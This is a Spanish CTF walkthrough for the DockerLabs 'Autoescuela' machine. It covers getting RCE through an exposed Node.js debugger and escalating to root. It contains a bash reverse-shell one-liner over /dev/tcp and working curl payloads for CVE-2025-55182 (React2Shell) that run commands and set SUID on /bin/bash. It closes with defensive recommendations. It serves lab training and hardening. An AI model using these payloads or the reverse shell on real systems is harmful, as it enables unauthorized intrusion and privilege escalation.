Autoescuela
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Autoescuela, diseñada por mikisbd para la plataforma DockerLabs y clasificada como fácil.
El objetivo es ofrecer un análisis claro, ordenado y técnicamente fundamentado, que incluya:
- Identificación de vectores de entrada.
- Explotación mediante el depurador de Node.js expuesto.
- Obtención de ejecución remota de comandos (RCE) y reverse shell.
- Escalada de privilegios mediante el abuso de un servidor interno vulnerable (CVE-2025-55182).
La metodología empleada se articula en tres fases principales:
- Reconocimiento: detección de puertos y análisis de servicios web.
- Explotación: abuso del depurador de Node.js para obtener RCE y acceso inicial.
- Escalada de privilegios: explotación de un servidor interno en localhost con una vulnerabilidad crítica hasta obtener root.
Todas las pruebas se realizaron en el entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Autoescuela |
| Autor | mikisbd |
| Dificultad | Fácil |
| Fecha | 5/04/2026 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip Autoescuela.zipArrancar el contenedor:
sudo bash auto_deploy.sh Autoescuela.tarEl script de despliegue devuelve la IP interna que utilizaremos durante el análisis:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»Mantener un árbol de trabajo ordenado facilita documentar y reproducir cada fase:
mkdir -p Autoescuela/{content,exploits,nmap,gobuster,scripts}cd Autoescuela1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP abiertos para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 8080/tcp — HTTP
- 9229/tcp — HTTP

1.3 Enumeración web (puerto 8080)
Sección titulada «1.3 Enumeración web (puerto 8080)»Se empleó un escaneo de directorios con Feroxbuster para localizar recursos y rutas interesantes:
feroxbuster -u "http://172.17.0.2:8080/" \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -t 100 -e js,php,txt,html -C 404Resultados relevantes:
- Index: página de una escuela de manejo.

Realmente no se encontró nada relevante.
1.4 Enumeración web (puerto 9229)
Sección titulada «1.4 Enumeración web (puerto 9229)»Al parecer, este puerto también correspondía a un servicio HTTP, ya que a primera vista aparecía el mensaje:
WebSockets request was expectedInvestigando un poco, descubrí que este puerto se utiliza para el depurador de Node.js. Para comprobarlo, intentamos acceder al endpoint /json, obteniendo lo siguiente:

Esto confirmó que el servicio era el inspector de Node.js, accesible de forma remota.
Paso 2 — Explotación (acceso inicial)
Sección titulada «Paso 2 — Explotación (acceso inicial)»Tras el descubrimiento, tenemos un punto de explotación claro: inyectar comandos a través del depurador. Para ello, abrimos chrome-devtools escribiendo en un navegador basado en Chromium chrome://inspect, luego hacemos clic en “Configure…” y agregamos la dirección 172.17.0.2:9229. Aparecerá el objetivo remoto. Hacemos clic en “inspect” y obtendremos una consola Node.js completa en el servidor remoto.
Primero necesitamos comprobar la funcionalidad de la consola y que efectivamente esté utilizando el servidor remoto. Escribimos:
process.cwd()require('os').hostname()y observamos los resultados:

Ahora necesitamos crear una función que nos permita ejecutar comandos del sistema y ver la respuesta:
// Función para ejecutar comandos y ver resultadofunction run(cmd) { const { execSync } = require('child_process'); return execSync(cmd).toString();}Para testear la función escribimos run('id'); y vemos el resultado:

Con esto ya tenemos RCE. Ahora necesitamos entablar una reverse shell. Primero activamos el listener en nuestra máquina local:
nc -nlvp 443Y en las DevTools escribimos:
run('bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"');Listo, estamos conectados a la máquina a través de una reverse shell. Solo necesitamos normalizar la terminal:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De webuser → Root
Sección titulada «3.1 De webuser → Root»Buscando entre las formas más comunes de escalar privilegios, no encontramos nada útil. Sin embargo, al revisar los archivos del sistema identificamos un archivo llamado entrypoint.sh que contenía información muy valiosa:

Este nos da varios puntos clave:
- Hay un servidor interno en
localhost:3000corriendo comoroot. - Dicho servidor tiene la vulnerabilidad CVE-2025-55182 (React2Shell).
Intentando crear archivos, nos damos cuenta de que la máquina no tiene un editor de texto, lo que dificulta la creación de PoCs, ya que tendremos que explotar la vulnerabilidad únicamente con curl. Lo primero que hacemos es comprobar la vulnerabilidad con esta petición:
curl -X POST http://127.0.0.1:3000 \ -H "Next-Action: x" \ -F '0={"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"var res = process.mainModule.require('\''child_process'\'').execSync('\''id'\'',{'\''timeout'\'':5000}).toString().trim(); throw Object.assign(new Error('\''NEXT_REDIRECT'\''), {digest:`${res}`});","_formData":{"get":"$1:constructor:constructor"}}}' \ -F '1="$@0"'Obtenemos resultados:

Ahora le daremos permiso SUID a /bin/bash:
curl -X POST http://127.0.0.1:3000 \ -H "Next-Action: x" \ -F '0={"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"process.mainModule.require('\''child_process'\'').execSync('\''chmod u+s /bin/bash'\'');","_formData":{"get":"$1:constructor:constructor"}}}' \ -F '1="$@0"'Para verificar que funcionó, ejecutamos bash -p y observamos resultados satisfactorios, obteniendo una consola con permisos de administración:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Exposición del depurador de Node.js en un puerto accesible públicamente (9229). Esto permite a un atacante conectarse al inspector y ejecutar código arbitrario en el servidor sin autenticación.
- Servicio interno crítico (puerto 3000) vulnerable a CVE-2025-55182 (React2Shell). Aunque solo era accesible desde localhost, un atacante con acceso inicial puede explotarlo para escalar privilegios hasta root.
- Falta de saneamiento en el
entrypoint.sh: el script dejaba pistas claras sobre la existencia del servidor vulnerable y su ejecución como root. - Ausencia de herramientas básicas como editores de texto, lo que dificulta la respuesta a incidentes, pero no impide la explotación mediante herramientas como
curl. - Falta de restricciones en la ejecución de comandos desde el depurador de Node.js, permitiendo RCE completo sin ningún control.
Recomendaciones
Sección titulada «Recomendaciones»- No exponer el depurador de Node.js en producción. Si es necesario para diagnóstico, debe estar en una red aislada o protegido por autenticación y firewall.
- Actualizar inmediatamente cualquier instancia de React/Next.js que pueda verse afectada por la CVE-2025-55182. Aplicar parches de seguridad.
- Eliminar información sensible de scripts de inicio (
entrypoint.sh) o cualquier otro archivo accesible por el usuario del servicio. - Implementar un principio de mínimo privilegio: el servidor interno del puerto 3000 no debería ejecutarse como root si no es estrictamente necesario.
- Usar sistemas de detección de intrusiones (IDS/IPS) y monitorizar el tráfico anómalo hacia puertos de depuración.
- Realizar auditorías periódicas de los contenedores y las imágenes base para detectar configuraciones inseguras.